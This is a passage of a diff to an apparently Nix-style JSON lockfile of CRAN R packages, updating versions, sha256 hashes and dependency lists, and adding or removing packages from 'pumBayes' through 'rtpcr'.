["Matrix"] }, + "pumBayes": { + "name": "pumBayes", + "version": "1.0.0", + "sha256": "1gyl3j2awjr2rnh7cd5c7770i84d42apbwybyvpl2f5s3gsv1qcs", + "depends": ["Rcpp", "RcppArmadillo", "RcppDist", "RcppTN", "mvtnorm"] + }, "pumilioR": { "name": "pumilioR", "version": "1.3.1", @@ -104637,8 +104235,8 @@ }, "pxmake": { "name": "pxmake", - "version": "0.17.0", - "sha256": "1mysmr16gykfhm8m16v9vlgqhxhmda5mhy5pczkqgwfvwrvh6r6l", + "version": "0.18.0", + "sha256": "0mbczkhmqm9zrll8kabf8dybb12qdw0yxh9xdlwgkxv7rxl7bwiz", "depends": ["arrow", "dplyr", "furrr", "magrittr", "openxlsx", "purrr", "readxl", "rlang", "stringi", "stringr", "tibble", "tidyr", "vctrs"] }, "pxweb": { @@ -105061,6 +104659,12 @@ "sha256": "1mlv9yc929w8ypfzhfplhjbxxj1qdx4v9gh6dr68lylvm9ahx032", "depends": ["dplyr", "ggplot2", "knitr", "magrittr", "tidyr"] }, + "qpcR": { + "name": "qpcR", + "version": "1.4-2", + "sha256": "04q4j249xajp6b3nwg6gzrvyc3jffs14xfzg3nwms12hg4c3fvcz", + "depends": ["MASS", "Matrix", "minpack_lm", "rgl", "robustbase"] + }, "qpdf": { "name": "qpdf", "version": "1.3.5", @@ -105279,8 +104883,8 @@ }, "qtl2": { "name": "qtl2", - "version": "0.36", - "sha256": "0sy4j3f1dw7w7qcp3lsc5mmd8kwa5qaxcl8c4236a8zbzkvvnp5j", + "version": "0.38", + "sha256": "17h9cazf2q9f1wx5nf1pawvv5b5pld191sj9pdfab0vw2r9rdf4l", "depends": ["RSQLite", "Rcpp", "RcppEigen", "data_table", "jsonlite", "yaml"] }, "qtl2convert": { @@ -105657,8 +105261,8 @@ }, "questionr": { "name": "questionr", - "version": "0.8.0", - "sha256": "1zxh7wg81qmymmcs1ram3g1901pf9igcdn0zfbmcxs9jlf1m00i1", + "version": "0.8.1", + "sha256": "1mw7jwx8lvzs5cjqimdicidzi93i3k1z9pxn2axrs4w8z9ahxnx6", "depends": ["classInt", "highr", "htmltools", "labelled", "miniUI", "rlang", "rstudioapi", "shiny", "styler"] }, "queuecomputer": { @@ -105733,6 +105337,12 @@ "sha256": "0dfqlpghnw79idw3ir03cxx9n88sqs5p14jz7jgpkdwvjpw1y4q9", "depends": ["DEoptim", "MPDiR", "dplyr", "ggplot2"] }, + "quickr": { + "name": "quickr", + "version": "0.1.0", + "sha256": "01hig7fc0p152qwa7zrr2a72s22ikshdw895qzxx955jikvlqplh", + "depends": ["S7", "dotty", "glue"] + }, "quickregression": { "name": "quickregression", "version": "0.2", @@ -105765,9 +105375,9 @@ }, "quincunx": { "name": "quincunx", - "version": "0.1.9", - "sha256": "05r9j1x209a03rg42ihwpqi1prk4lhamh3p66w2xlah7crdgs8ds", - "depends": ["concatenate", "dplyr", "glue", "httr", "lubridate", "memoise", "progress", "purrr", "readr", "rlang", "rvest", "stringr", "tibble", "tidyjson", "tidyr", "vroom", "writexl"] + "version": "0.1.10", + "sha256": "10qnp8avx09zhzzn64g2gbp4sl3jbxz569q4fhkf8d4ia3qhihm2", + "depends": ["dplyr", "glue", "httr", "lubridate", "memoise", "progress", "purrr", "readr", "rlang", "rvest", "stringr", "tibble", "tidyjson", "tidyr", "vroom", "writexl"] }, "quint": { "name": "quint", @@ -106005,8 +105615,8 @@ }, "r4ds_tutorials": { "name": "r4ds.tutorials", - "version": "0.3.1", - "sha256": "1g9ccgycxvjds32kqn24x2lkh1fn93c0nw9xrha560wk1kbrd66q", + "version": "0.3.2", + "sha256": "1826rzmvrmwpc03szvd4709mmacn9mmvbhzvy876gg5ca2wp5rw1", "depends": ["tutorial_helpers"] }, "r4googleads": { @@ -106033,12 +105643,6 @@ "sha256": "1rprwm7fxk9mh6xi8d23kbq9v6ip37ag7akq6h1dadcfhpmcfnja", "depends": ["checkmate", "cli", "concaveman", "data_table", "jsonlite", "rJava", "rlang", "sf", "sfheaders", "zip"] }, - "r6extended": { - "name": "r6extended", - "version": "0.1.2", - "sha256": "1kq1j5rx57053mslj8jx1s0wjvhis7x3y264zw44q4k2x48q9wxs", - "depends": ["R6", "digest", "hellno", "magrittr"] - }, "r6methods": { "name": "r6methods", "version": "0.1.0", @@ -106089,8 +105693,8 @@ }, "rBDAT": { "name": "rBDAT", - "version": "1.0.1", - "sha256": "1bwvq7iqfkcmlw7ckvnz29nz8s8dm5nvzdnd3h0ggzx9nq1l1983", + "version": "1.1.0", + "sha256": "1sjpqxcv06z6jq8w69iwk6k54hrl7p8fdi31pfnxqmfqwl9fqm7g", "depends": [] }, "rBMF": { @@ -106207,6 +105811,12 @@ "sha256": "1yw3np5iamnr7f3nrd507dkyz76nxmzdpinwxncv87yw30g6gnkq", "depends": [] }, + "rFocal": { + "name": "rFocal", + "version": "1.0", + "sha256": "17q0122fz2qvd5pkgwxjpb23i1mnx86yvdnqn01mw9jhh68qczmz", + "depends": [] + }, "rGV": { "name": "rGV", "version": "0.0.5", @@ -106339,12 +105949,6 @@ "sha256": "0r4zdh91f87xzjr85i8iafghpi60hlmjp763nm025n4h33qvvrfl", "depends": ["Matrix", "dbscan", "geigen", "glmnet", "plotly", "rTensor"] }, - "rNOMADS": { - "name": "rNOMADS", - "version": "2.5.3", - "sha256": "196iwdwin73kva9jrjjzx9kgl91h7a3d04p9i3r1rzp3v9xj4gpp", - "depends": ["GEOmap", "MBA", "XML", "fields", "httr", "rvest", "stringr", "uuid"] - }, "rNeighborGWAS": { "name": "rNeighborGWAS", "version": "1.2.5", @@ -106383,8 +105987,8 @@ }, "rPBK": { "name": "rPBK", - "version": "0.2.4", - "sha256": "0sbnxhbv7gi1y1in96cw875sgbr54w5i43al2ivwj6kkdds0i91i", + "version": "0.2.5", + "sha256": "0l8xplz9qnzlyd13nyq3304mf53p8knpmq41n7ci2wbznv49jbib", "depends": ["BH", "Rcpp", "RcppEigen", "RcppParallel", "StanHeaders", "ggplot2", "rstan", "rstantools"] }, "rPDBapi": { @@ -106587,8 +106191,8 @@ }, "rYWAASB": { "name": "rYWAASB", - "version": "0.2", - "sha256": "1672h1c48m71sjyhk2hdmmnl8z864dryw5y852qijacyck7726hs", + "version": "0.3", + "sha256": "1xnx4c79bfnya07sk70s2qwvss49j450pdjxqc88b0bwvxm727jm", "depends": ["FactoMineR", "factoextra", "ggplot2", "lifecycle", "mathjaxr"] }, "rYoutheria": { @@ -106735,18 +106339,18 @@ "sha256": "0xq93vipy7i8pgij57xkawigxv1p2lb3aax56asi3k631qndrk4c", "depends": ["systemfonts", "textshaping"] }, + "ragnar": { + "name": "ragnar", + "version": "0.1.0", + "sha256": "0l83gk1qlxnh008j89a9wb2qkax43yq5simh83fflx1acx7jdahb", + "depends": ["DBI", "S7", "blob", "cli", "commonmark", "curl", "dotty", "dplyr", "duckdb", "glue", "httr2", "reticulate", "rlang", "rvest", "stringi", "tibble", "tidyr", "vctrs", "withr", "xml2"] + }, "rags2ridges": { "name": "rags2ridges", "version": "2.2.7", "sha256": "09dp04y8wl7cws5y94k9j2rlrmm2ci1lk8y77cb17lxr0i1yv6gb", "depends": ["Hmisc", "RBGL", "RSpectra", "Rcpp", "RcppArmadillo", "expm", "fdrtool", "gRbase", "ggplot2", "graph", "igraph", "reshape", "sfsmisc", "snowfall"] }, - "ragtop": { - "name": "ragtop", - "version": "1.1.1", - "sha256": "0vgc2q71g8ysccq19kbk9a4swxgd5qj91xm4bshfgdg5chxqnb50", - "depends": ["futile_logger", "limSolve"] - }, "rai": { "name": "rai", "version": "1.0.0", @@ -106819,12 +106423,6 @@ "sha256": "0cxmkxhshg0vrcxai2gbm4iih04f44liv5nh5jiq85hjz8qbhdi2", "depends": [] }, - "ramlegacy": { - "name": "ramlegacy", - "version": "0.2.0", - "sha256": "0q8qks8qapar12dzlkxlbvw4rj7qxmfw64cph834ckm4z7sis873", - "depends": ["cli", "crayon", "httr", "rappdirs", "readxl"] - }, "ramps": { "name": "ramps", "version": "0.6.18", @@ -106905,8 +106503,8 @@ }, "randomForestSRC": { "name": "randomForestSRC", - "version": "3.3.3", - "sha256": "0ars10cwh0svxnvwvc03r2ml2zd9ljbak47wss4j3a9b3d2yc6rz", + "version": "3.4.1", + "sha256": "1rpf8brm8f3fv997y9pbd68ysfgdvmrhsrg215r3v7azrvpfwc86", "depends": ["DiagrammeR", "data_tree"] }, "randomForestVIP": { @@ -107031,8 +106629,8 @@ }, "rangr": { "name": "rangr", - "version": "1.0.6", - "sha256": "1cwjsibg749xzic5sqj12fcaqjan85c363r3qi7n96ghm3l47amb", + "version": "1.0.7", + "sha256": "0zjgmfffmch8v6acfa7zyqcz1scwxr3nzg99sl4q19dqp2a9gvhy", "depends": ["assertthat", "pbapply", "terra", "zoo"] }, "rank": { @@ -107227,12 +106825,6 @@ "sha256": "09s4km4v603mzc6i1n27c10na6swdzlvclbsar267zk3410acsww", "depends": ["checkmate", "fritools", "gert", "highr", "knitr", "reticulate"] }, - "rasclass": { - "name": "rasclass", - "version": "0.2.2", - "sha256": "1lsmv8kh519mz3szb4k9s17fz1480cw0i4qk12givhhm2rpzjy50", - "depends": ["RSNNS", "car", "e1071", "nnet", "randomForest"] - }, "rashnu": { "name": "rashnu", "version": "0.1.0", @@ -107599,6 +107191,12 @@ "sha256": "0vr98fybp2115fa8s7z8miiyyj1l8q89b1kxrpx40f5vs9gnc8x8", "depends": ["Matrix", "R6", "assertthat", "mmrm", "pkgload"] }, + "rbmiUtils": { + "name": "rbmiUtils", + "version": "0.1.4", + "sha256": "1969ixngybrl3g5pwj7p5624417ybxdwr22wpr70yjjxr7m15r1y", + "depends": ["assertthat", "beeca", "dplyr", "purrr", "rbmi", "rlang"] + }, "rbmn": { "name": "rbmn", "version": "0.9-6", @@ -107803,6 +107401,12 @@ "sha256": "09l1gvcf453j058rls4y2r342y3p4ywvf1g0qzq4kwavxxcl5rn2", "depends": ["dplyr", "glue", "rlang"] }, + "rcoins": { + "name": "rcoins", + "version": "0.3.2", + "sha256": "1a4arl81hh98vj2zkfpn3lwwayhll9jifq2nsah0sslld1vndzni", + "depends": ["dplyr", "rlang", "sf", "sfheaders"] + }, "rcollectadhd": { "name": "rcollectadhd", "version": "0.8", @@ -107895,9 +107499,9 @@ }, "rd2d": { "name": "rd2d", - "version": "0.0.1", - "sha256": "17s6s25xrfnvn5w5lwbkykicmqk4rpvw38daq642rq9jr8j4c5wb", - "depends": ["MASS", "expm", "ggplot2"] + "version": "0.0.2", + "sha256": "1zyn8pmg9wwi04iajlc33ldjsaknph0znwdak3sf1wdcx7nd4xxj", + "depends": ["MASS", "expm", "ggplot2", "stringr"] }, "rda": { "name": "rda", @@ -107989,12 +107593,6 @@ "sha256": "0cfkbqr4m9dqbiqnr01wkxl6qd09384aq5x0d8vycylmngvmh4ay", "depends": ["dplyr", "readr", "redland", "stringi", "tidyr"] }, - "rdfp": { - "name": "rdfp", - "version": "0.1.4", - "sha256": "1490227hhfjjscfmd8p897v1ijs61pk5sc0a2vr9yjnfmsnxpqrl", - "depends": ["XML", "curl", "data_table", "dplyr", "httr", "lubridate", "plyr", "purrr", "readr", "xml2"] - }, "rdhs": { "name": "rdhs", "version": "0.8.1", @@ -108039,14 +107637,14 @@ }, "rdlocrand": { "name": "rdlocrand", - "version": "1.0", - "sha256": "0kh66bvfg7jq2rj6zx541xrr887f8jfyinhl6jf21vizcijyf3k6", + "version": "1.1", + "sha256": "161xq60ymf3f2fqwcr5x35cpbv0yv65j9ca4pic6kriwpk4py7ds", "depends": ["AER", "sandwich"] }, "rdmulti": { "name": "rdmulti", - "version": "1.1", - "sha256": "1bx97r6d4rfq2y7h85j9g1hqmyf7qmmr7faw4gjxnlh1q281fvdv", + "version": "1.2", + "sha256": "1aal71dizqr470k3s08ikf7qwr84zzpyjn7ydhdihln3av5rm9kf", "depends": ["ggplot2", "rdrobust"] }, "rdnb": { @@ -108069,8 +107667,8 @@ }, "rdpower": { "name": "rdpower", - "version": "2.2", - "sha256": "0v598jqka5skffbzb4knfmm5hfbg6gmwjgbclv774wrxxn62sj4z", + "version": "2.3", + "sha256": "0a7ays4acilpa6w4098bndjszpf6q29w0423i16p7h1giqn3yxgr", "depends": ["rdrobust"] }, "rdracor": { @@ -108489,8 +108087,8 @@ }, "receptiviti": { "name": "receptiviti", - "version": "0.1.8", - "sha256": "1z8f8wky1r712mi3by4jf0iv973i3bppgslj7kkvzwnrbij458fj", + "version": "0.2.0", + "sha256": "0l4v17f9bvkygp1nblj998i0p4gmvx6s8f5xc0hdif9nvgl8xzjk", "depends": ["curl", "digest", "jsonlite", "progressr", "stringi"] }, "recexcavAAR": { @@ -108579,8 +108177,8 @@ }, "recommenderlab": { "name": "recommenderlab", - "version": "1.0.6", - "sha256": "1dxpdgmv3hfwix1w8lzc0ijcd8myslsqnznr5pbwsrh7wypwqk1h", + "version": "1.0.7", + "sha256": "0kakm8byqq7fa4qcgk405pg5y1ca3szqkkz9hi642x47ihl2icci", "depends": ["Matrix", "arules", "irlba", "matrixStats", "proxy", "recosystem", "registry"] }, "recommenderlabBX": { @@ -108645,8 +108243,8 @@ }, "reda": { "name": "reda", - "version": "0.5.4", - "sha256": "1lrfbcvxgbbpi7l3vls3rdj8y3w30gg5f1fjcfscmykvp0i01j3d", + "version": "0.5.5", + "sha256": "1c3zjf282rc5r527kb8281g5ygx7w60fvd12xdzjivd480k03wvd", "depends": ["Rcpp", "RcppArmadillo", "ggplot2", "splines2"] }, "redatam": { @@ -108657,8 +108255,8 @@ }, "redatamx": { "name": "redatamx", - "version": "1.1.3", - "sha256": "1508sp8kxqrcyjd6hrw6fgvhlb33iswzdbh79l54wrcgxnf9xqli", + "version": "1.1.4", + "sha256": "0qpa5ka1fb6iq7sii4jzngkl675hn9bwsk2pc2mh6rdkqq27jvkp", "depends": ["cpp11"] }, "redbookperu": { @@ -108669,9 +108267,9 @@ }, "redcapAPI": { "name": "redcapAPI", - "version": "2.10.0", - "sha256": "0c7pp0cwbchmrr07diiacdnr77jny0l9gfahp3g742z8rzr8zb04", - "depends": ["checkmate", "chron", "curl", "getPass", "jsonlite", "keyring", "labelVector", "lubridate", "mime", "yaml"] + "version": "2.11.0", + "sha256": "0g1gzi94sh57zs549b7xhjzcs6kqaxlw4wd5sa318mjh5nn2i01q", + "depends": ["checkmate", "chron", "curl", "jsonlite", "labelVector", "lubridate", "mime", "shelter"] }, "redcas": { "name": "redcas", @@ -108777,9 +108375,9 @@ }, "refitgaps": { "name": "refitgaps", - "version": "0.1.1", - "sha256": "0sxhkw1frxz9gqjx1yi1pj7g6isjjqk0g01b4z0gpdy1my52mycm", - "depends": ["dplyr", "magrittr", "purrr", "rlang", "tibble"] + "version": "0.1.2", + "sha256": "1clbfvl87n4kj5vjkw92ypkl01cmvcahy8r35zingv6m6kpmqkv4", + "depends": ["dplyr", "magrittr", "purrr", "rlang", "stringr", "tibble"] }, "reflectR": { "name": "reflectR", @@ -108789,8 +108387,8 @@ }, "reflimR": { "name": "reflimR", - "version": "1.0.6", - "sha256": "02phm6jjhwdcc82vw292kcwwrprl7zcd8fyvb479rs3c1ippkrhc", + "version": "1.1.0", + "sha256": "0zr4wv02cy7pwzkhz98gr4mmradrc0z8vshjkxb6rs4xmgxkj0k4", "depends": [] }, "reformulas": { @@ -108831,8 +108429,8 @@ }, "refugees": { "name": "refugees", - "version": "2024.6.0", - "sha256": "1lgxkcc4hv2nnndirp70hpn5mahcsv65nj289ms4qh3wdg89h9pb", + "version": "2024.12.0", + "sha256": "0n24isvbqs954ig2kn5sxfbq8bn1y29bcgkpy5ar4rpf4vmzk8ks", "depends": ["tibble"] }, "refund": { @@ -108867,8 +108465,8 @@ }, "regclass": { "name": "regclass", - "version": "1.6", - "sha256": "0m974k3yhf0dgv5f1qjs8c53mam0cll3cjn35ywfrmlfla0wlhf5", + "version": "1.7", + "sha256": "1b1dg92f5sk1kfz538bmhssxkllbjal77gy16incviczwj8kypfr", "depends": ["VGAM", "bestglm", "leaps", "randomForest", "rpart", "rpart_plot"] }, "regda": { @@ -108997,6 +108595,12 @@ "sha256": "1wl8xsy0q1g9rv203yl9jkqxi2cwfb80zax43vs6zr1ibyb3vf2d", "depends": ["DHARMa", "broom", "cli", "dplyr", "ggplot2", "insight", "nullabor", "purrr", "rlang", "tibble", "tidyr", "tidyselect"] }, + "regressoR": { + "name": "regressoR", + "version": "4.0.4", + "sha256": "0mr2mpvn1i5zkj6wigadkmnwcjqswz4gsnwra89sfnbrh8g9j9ln", + "depends": ["DT", "dplyr", "echarts4r", "gbm", "glmnet", "golem", "htmltools", "loadeR", "pls", "psych", "rlang", "rpart_plot", "shiny", "shinyAce", "shinycustomloader", "shinydashboard", "shinydashboardPlus", "shinyjs", "traineR"] + }, "regrrr": { "name": "regrrr", "version": "0.1.3", @@ -109255,6 +108859,12 @@ "sha256": "1qr06lgf0wfyzw29b1gz38ip2flyh185gm9s5rbw3m86jla01v0b", "depends": ["Rcpp", "RcppArmadillo"] }, + "rencher": { + "name": "rencher", + "version": "0.1.3", + "sha256": "1f69mz2inffirnykx2jiw9bdd9245gwsj1zwdldr6gl3djv2v8wd", + "depends": [] + }, "renpow": { "name": "renpow", "version": "0.1-1", @@ -109263,8 +108873,8 @@ }, "rentrez": { "name": "rentrez", - "version": "1.2.3", - "sha256": "0x1g2f6hvkqqlb39z8m5qxhcvsizddic5i7rpqw0wy77xfbna9gv", + "version": "1.2.4", + "sha256": "10716g98qb1718q5bb01pjdlh7m1lplxc3mahrg8n4k4y9lsbp92", "depends": ["XML", "httr", "jsonlite"] }, "renv": { @@ -109557,8 +109167,8 @@ }, "reservoirnet": { "name": "reservoirnet", - "version": "0.2.0", - "sha256": "0x87jglv7zyldagrz1kz68xi9l4j920zgpsbpzbj1ksxi2ypp98s", + "version": "0.3.0", + "sha256": "0k30z9w8mn4y1cb5s5qm9057cw6nild1fr8v1zpn05gd29a9f8vk", "depends": ["dplyr", "ggplot2", "ggpubr", "janitor", "magrittr", "reticulate", "rlang", "testthat"] }, "reservr": { @@ -109743,8 +109353,8 @@ }, "retistruct": { "name": "retistruct", - "version": "0.8.0", - "sha256": "1cqflx19yvm695s3d9xslhbmdkwa82i4g3rxh82f576cgdli2nnm", + "version": "0.8.1", + "sha256": "1g1ng57sdj9bbvqrjrpnzv7sn8fjd9vrgp0xinlm4cdy99aq56ln", "depends": ["R6", "RImageJROI", "RTriangle", "R_matlab", "bslib", "foreign", "fs", "geometry", "png", "rgl", "shiny", "shinyFiles", "shinyjs", "sp", "tiff", "ttutils"] }, "retmort": { @@ -109783,12 +109393,6 @@ "sha256": "0vjfck3yf52zxpllp8ffqcm0cqps84p0kr1b89kih5068dxl3kr3", "depends": ["later", "rlang"] }, - "reutils": { - "name": "reutils", - "version": "0.2.3", - "sha256": "09dhf4s7wz3anrkzqi16abx64gk8ck2142kfd8pv71mjy3x548l7", - "depends": ["RCurl", "XML", "assertthat", "jsonlite", "tibble"] - }, "reval": { "name": "reval", "version": "3.1-0", @@ -109891,6 +109495,12 @@ "sha256": "1fybxxmwm0xw3pwv5lx0vkmi4f215hvnwk3kbwm3031c1vr662l4", "depends": ["Rcpp"] }, + "rfPermute": { + "name": "rfPermute", + "version": "2.5.5", + "sha256": "02l6vbqq6lk09iwb9y5bm8kk3lyg914bgsc8qz8zysv8y4bh47fh", + "depends": ["abind", "dplyr", "ggplot2", "gridExtra", "randomForest", "rlang", "scales", "swfscMisc", "tibble", "tidyr"] + }, "rfVarImpOOB": { "name": "rfVarImpOOB", "version": "1.0.3", @@ -109939,12 +109549,6 @@ "sha256": "1bicv4hy5vmyvzqvjwl45j2vy2c1339w9h1b2cmmzm6qgz9s0zyl", "depends": ["dplyr", "duckdbfs", "glue", "httr", "jsonlite", "magrittr", "memoise", "purrr", "rlang", "stringr"] }, - "rfishdraw": { - "name": "rfishdraw", - "version": "0.1.0", - "sha256": "0204s8jy6shr694hacrq4j0lia9l59rk8kc75sdw87c09q7kjld2", - "depends": ["ggplot2", "jsonlite"] - }, "rfisheries": { "name": "rfisheries", "version": "0.2", @@ -110013,8 +109617,8 @@ }, "rgbif": { "name": "rgbif", - "version": "3.8.1", - "sha256": "0vmnccwy3dd043c59s9k7y6r40bb7blvn94hiz7sb1vqc37jiphc", + "version": "3.8.2", + "sha256": "0b5l1iy075fm2jq8nk354c1q54r3lni3hvx1bxw2njy97jnsa5w9", "depends": ["R6", "crul", "data_table", "ggplot2", "jsonlite", "lazyeval", "magrittr", "oai", "tibble", "whisker", "wk", "xml2"] }, "rgdax": { @@ -110119,6 +109723,12 @@ "sha256": "0d6149mg0mvnp64dnn3nh9bxqcal324pjipnbqsmfslhk8sw8bwb", "depends": ["BDgraph", "MASS", "Rcpp", "ggplot2", "huge", "pROC", "reshape2", "truncnorm"] }, + "rgnoisefilt": { + "name": "rgnoisefilt", + "version": "1.1.3", + "sha256": "049vcxfdbmby5nkl2w9mcm7135vp2c1dhli30mcwc88nghwm6w70", + "depends": ["FNN", "arules", "class", "e1071", "entropy", "gbm", "ggplot2", "infotheo", "kknn", "modelr", "nnet", "randomForest", "rpart"] + }, "rgnparser": { "name": "rgnparser", "version": "0.3.0", @@ -110137,12 +109747,6 @@ "sha256": "0f6ljy1iaajyf3x9q4wcg9g3fp27l9f5wpvik5r59pmvaf705jd5", "depends": ["R6", "assertthat", "dplyr", "httr", "jsonlite", "lubridate", "magrittr", "openssl", "purrr", "readr", "rprojroot", "stringr", "tibble", "tidyr"] }, - "rgoogleslides": { - "name": "rgoogleslides", - "version": "0.3.2", - "sha256": "0h9gws1vcf0zdd21d8b65c2yz9kxppp3218h5lhd5iz879ajwa2i", - "depends": ["R6", "assertthat", "httr", "jsonlite"] - }, "rgplates": { "name": "rgplates", "version": "0.6.0", @@ -110295,8 +109899,8 @@ }, "rice": { "name": "rice", - "version": "1.1.1", - "sha256": "0ik8myr1xzi30gcgcmgv9sqciwx9g7k4fj8h26h9kyjp7qj7pgnn", + "version": "1.2.0", + "sha256": "0npnngr9xrrb33wn12gi87j2crdqf184gm8ba2n0y68l8m0j76p6", "depends": ["ggplot2", "maps", "rintcal", "rlang"] }, "ricegeneann": { @@ -110377,6 +109981,12 @@ "sha256": "053hlvx3yibiadzwjsv55qvysc0bkznzqk61rjwb23lyxvjbb3rq", "depends": ["Formula", "Hmisc", "ggplot2", "pbapply", "sandwich"] }, + "rifttable": { + "name": "rifttable", + "version": "0.7.1", + "sha256": "0jarzxm1i9qvw4vba7n0zrcjiz3vxkdkxgv67g3vybxg9lhz2jw2", + "depends": ["broom", "dplyr", "purrr", "risks", "rlang", "stringr", "survival", "tibble", "tidyr"] + }, "riingo": { "name": "riingo", "version": "0.3.1", @@ -110421,8 +110031,8 @@ }, "rintcal": { "name": "rintcal", - "version": "1.1.3", - "sha256": "1v7wgg14ikz6y86rvlv7jc559i9pwzagd94dkzb3p89kxlqa2j41", + "version": "1.2.1", + "sha256": "10dsf66bzfbgkl9hd6c2lk4njwmd542251xmvppjan7nn3ai1r6l", "depends": ["data_table", "jsonlite"] }, "rintimg": { @@ -110515,6 +110125,12 @@ "sha256": "0c5gc4kllhf8i5x0dw0lkdkp40r6smv5hkiq57pih9ahz18did9i", "depends": ["Matrix", "mlogit", "stringr"] }, + "riskdiff": { + "name": "riskdiff", + "version": "0.1.0", + "sha256": "1zagrikjf8lj5p905yigwlzn9mzsrbfqx8gxp55sf0mpqbycb8ih", + "depends": ["dplyr", "purrr", "rlang", "scales", "stringr", "tibble"] + }, "riskmetric": { "name": "riskmetric", "version": "0.2.5", @@ -110523,15 +110139,15 @@ }, "risks": { "name": "risks", - "version": "0.4.2", - "sha256": "1f28v9yqcbg2qp0xilggm61phyqcwfn9rw0vlg09wv12g3ii05xp", + "version": "0.4.3", + "sha256": "1z7iimgkjjb372m22sy6q21f983fhwl0s0j6g2n2fr74jxw9gjcv", "depends": ["bcaboot", "boot", "broom", "dplyr", "purrr", "rlang", "sandwich", "tibble", "tidyr"] }, "riskscores": { "name": "riskscores", - "version": "1.1.1", - "sha256": "0m2f4mk8zghnqvry949lqajv9q9l7p663qqx7j62mnax41y9ylx2", - "depends": ["dplyr", "foreach", "ggplot2", "magrittr"] + "version": "1.2.1", + "sha256": "1wj3ccclk72l7lgxc2kv6dhj46jivxg0440v958llcc8khw02qf6", + "depends": ["dplyr", "foreach", "ggplot2", "magrittr", "pROC"] }, "risksetROC": { "name": "risksetROC", @@ -110739,8 +110355,8 @@ }, "rle": { "name": "rle", - "version": "0.9.2", - "sha256": "0sagl0jggg40lihzy7pfq4593rfvc3b3f7g6ggi85s7n18qvwg40", + "version": "0.10.0", + "sha256": "1arlb1lhwyk8744f1inlghd3rkmzfgmfdq7zs353v0rs1yl9j5qr", "depends": [] }, "rleafmap": { @@ -110995,6 +110611,12 @@ "sha256": "0sg10j4jp74s65lzs2da2qqdcwgkf71rss9p7f1b14n2yz7xdf1v", "depends": ["Bessel", "MASS", "Matrix", "Rcpp", "RcppArmadillo", "Rsolnp", "corpcor", "ff", "pcaPP", "rugarch", "shape", "spd", "xts", "zoo"] }, + "rminer": { + "name": "rminer", + "version": "1.4.9", + "sha256": "1ary3y00kzvm69j6a5qvxn8pbww3csb51c2rn8h8av032p3jmlg2", + "depends": ["Cubist", "MASS", "adabag", "e1071", "glmnet", "kernlab", "kknn", "lattice", "mda", "nnet", "party", "plotrix", "pls", "randomForest", "rpart", "xgboost"] + }, "rminizinc": { "name": "rminizinc", "version": "0.0.8", @@ -111123,8 +110745,8 @@ }, "rmzqc": { "name": "rmzqc", - "version": "0.5.6", - "sha256": "1jv2b4dmxvpxssc81bhmf87xy0q4421a2z0h8m7svyy47hc0p9kk", + "version": "0.6.0", + "sha256": "0igk2a1fs2pfp405ski862kwjwq8xvq9324y4kydygd75g0mmw1s", "depends": ["R6", "R6P", "jsonlite", "jsonvalidate", "knitr", "ontologyIndex", "rmarkdown", "testthat"] }, "rnaCrosslinkOO": { @@ -111195,9 +110817,9 @@ }, "rnmamod": { "name": "rnmamod", - "version": "0.4.0", - "sha256": "0gwx4mwrirricbfwlsfq9ckbn34w8dwy3d0c532s50vcwpd3dm1g", - "depends": ["MASS", "R2jags", "cluster", "dendextend", "fdrtool", "gemtc", "ggfittext", "ggplot2", "ggpubr", "ggrepel", "heatmaply", "igraph", "knitr", "mcmcplots", "reshape2", "scales", "stringr", "writexl"] + "version": "0.5.0", + "sha256": "1yljxvzslfancz8b85h3a9dy5px9q7vnqiqb7mkrw2fwfb7jwmpz", + "depends": ["MASS", "Matrix", "R2jags", "cluster", "coda", "dendextend", "gemtc", "ggfittext", "ggplot2", "ggpubr", "ggrepel", "heatmaply", "igraph", "knitr", "reshape2", "scales", "stringr", "writexl"] }, "rnn": { "name": "rnn", @@ -111519,9 +111141,9 @@ }, "robustlmm": { "name": "robustlmm", - "version": "3.3-2", - "sha256": "0gcp2vbdyks1f3nx6k9nap4nxhvdfwn360hqlaz22dwd7q4gd78j", - "depends": ["Matrix", "Rcpp", "fastGHQuad", "lattice", "lme4", "nlme", "rlang", "robustbase", "xtable"] + "version": "3.3-3", + "sha256": "1fc62m6pd19fqnrbvrzi99px3gkkq4ngvgjhw0s5an9xnrlv529d", + "depends": ["Matrix", "Rcpp", "fastGHQuad", "lattice", "lme4", "nlme", "reformulas", "rlang", "robustbase", "xtable"] }, "robustmatrix": { "name": "robustmatrix", @@ -111553,12 +111175,6 @@ "sha256": "08c6dyzki68hzl006s12bkjiirlw2n2isirjh8b79sd6zjrjlh72", "depends": ["Matrix", "Rcpp", "RcppArmadillo"] }, - "robustsur": { - "name": "robustsur", - "version": "0.0-7", - "sha256": "0j3hqg0n5alckibzclks70a4xdhcwq4xm2a3z5w4dsvlzqgpnjl3", - "depends": ["GSE", "Matrix", "robreg3S", "robustbase"] - }, "robustvarComp": { "name": "robustvarComp", "version": "0.1-7", @@ -111601,6 +111217,12 @@ "sha256": "18kq2gzcbz97dw168xppql8k3slpkfl8yv1d8ac48damlhvipif1", "depends": ["glmnet", "pROC"] }, + "rock": { + "name": "rock", + "version": "0.9.6", + "sha256": "0zm0wjyxdzy24ka0rmxn6g55xqwkn3w73ycjllbsgjkqlc94b95n", + "depends": ["DiagrammeR", "DiagrammeRsvg", "data_tree", "ggplot2", "glue", "htmltools", "markdown", "purrr", "squids", "yaml", "yum"] + }, "rockchalk": { "name": "rockchalk", "version": "1.8.157", @@ -112245,8 +111867,8 @@ }, "rquest": { "name": "rquest", - "version": "1.0.4", - "sha256": "09p3r69wn9dl8p507kd7jng118a3pg0acc45lfcrw1dn5h5adrlf", + "version": "1.0.5", + "sha256": "1zpaga1ipjcx5c42wlbf2lfyahr8z0cm2c361qfbm8i5vd9g4sf0", "depends": [] }, "rr": { @@ -112801,6 +112423,12 @@ "sha256": "0bmi0qc535scdzrdr9sxnigby5ynw9dk95f99p55plc506z3pfya", "depends": ["base64enc", "data_table", "digest", "igraph", "magrittr", "png", "rlang", "stringi", "tidyselect", "tokenbrowser"] }, + "rsynthbio": { + "name": "rsynthbio", + "version": "2.0.0", + "sha256": "0xx5idnpqclgzqzizb1q6cgdd4d3yf1l17f4cnsf340wvw01lwy2", + "depends": ["getPass", "httr", "jsonlite", "keyring"] + }, "rsyslog": { "name": "rsyslog", "version": "1.0.3", @@ -112983,8 +112611,8 @@ }, "rtpcr": { "name": "rtpcr", - "version": "2.0.2", - "sha256": "19sxxl30qbm0iivli92pih9lq790zc007pscidy8pk6i07qplcns", + "version": "2.0.3", + "sha256": "035pnk6a846ck3p12jwhxx1j4279acvlzsjj2qiy2gyq4yr3g4pb", "depends": ["dplyr", "emmeans", "ggplot2", 